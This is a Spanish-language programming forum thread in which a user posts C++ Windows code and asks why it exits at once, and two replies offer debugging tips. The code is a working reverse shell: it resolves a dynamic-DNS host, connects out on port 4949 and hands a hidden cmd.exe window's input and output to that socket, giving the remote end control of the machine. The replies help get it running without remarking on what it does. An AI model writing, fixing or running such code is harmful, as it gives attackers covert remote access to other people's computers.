• [C+]compila pero deja de funcionar, sockets y gethostname()

 #401222  por Synth3tik0
 17 Ene 2013, 04:28
Necesito ayuda con este codigo.
Traté de usar gethostbyname() para resolver a una ip, y al parecer compila pero se cierra imediatamente
#include <winsock2.h>
#include <stdio.h>
#define h_addr h_addr_list[0]
#include <string>
#include <iostream>

int main(int argc, char *argv[])
{

        /*
        argv[1] = "synth3tik0.redirectme.net";
        char* ip = argv[1];
        // using gethostbyaddr()
        hostent * phe = gethostbyaddr(ip, strlen(ip), AF_INET);

        */


        std::string str = "synth3tik0.redirectme.net";
        const char * c = str.c_str();

        struct hostent *phe = gethostbyname(c);

        std::string miIP = phe->h_addr;
        const char *IP = miIP.c_str();


        WSADATA wsaData;
        SOCKET hSocket;
        STARTUPINFO si;
        PROCESS_INFORMATION pi;

        struct sockaddr_in adik_sin;

        memset(&adik_sin,0,sizeof(adik_sin));
        memset(&si,0,sizeof(si));
        WSAStartup(MAKEWORD(2,0),&wsaData);


        hSocket = WSASocket(AF_INET,SOCK_STREAM,NULL,NULL,NULL,NULL);

        adik_sin.sin_family = AF_INET;
        adik_sin.sin_port = htons(4949);
        adik_sin.sin_addr.s_addr = inet_addr(IP);//.s_addr = inet_addr("127.0.0.1");

        connect(hSocket,(struct sockaddr*)&adik_sin,sizeof(adik_sin));
        si.cb = sizeof(si);


        //si.dwFlags = STARTF_USESTDHANDLES;
		si.dwFlags = STARTF_USESTDHANDLES|STARTF_USESHOWWINDOW;//
		si.wShowWindow = SW_HIDE;//
		si.hStdInput = si.hStdOutput = si.hStdError = (void *)hSocket;
        CreateProcess(NULL,"cmd",NULL,NULL,true,NULL,NULL,NULL,&si,&pi);
        ExitProcess(0);



}
que puede ser? deberia encerrar en bloque try ? con que exception?
 #401224  por orlando9427
 17 Ene 2013, 04:47
Tienes un ExitProcess al llegar a esa linea se cierra el proceso...
Intenta mostrar en pantalla el contenido de gethostbyname(), y al final en lugar del ExitProcess el System("Pause")
 #416862  por tercer_ojo
 19 Jun 2013, 23:22
Usa la API MessageBoxA(...) para mostrar tu cadena. eso debería interrumpir efectivamente el flujo de tu programa esperando el clic en 'aceptar'. Si de todos modos se cierra, es evidente que no está llegando a la llamada a MessageBoxA();.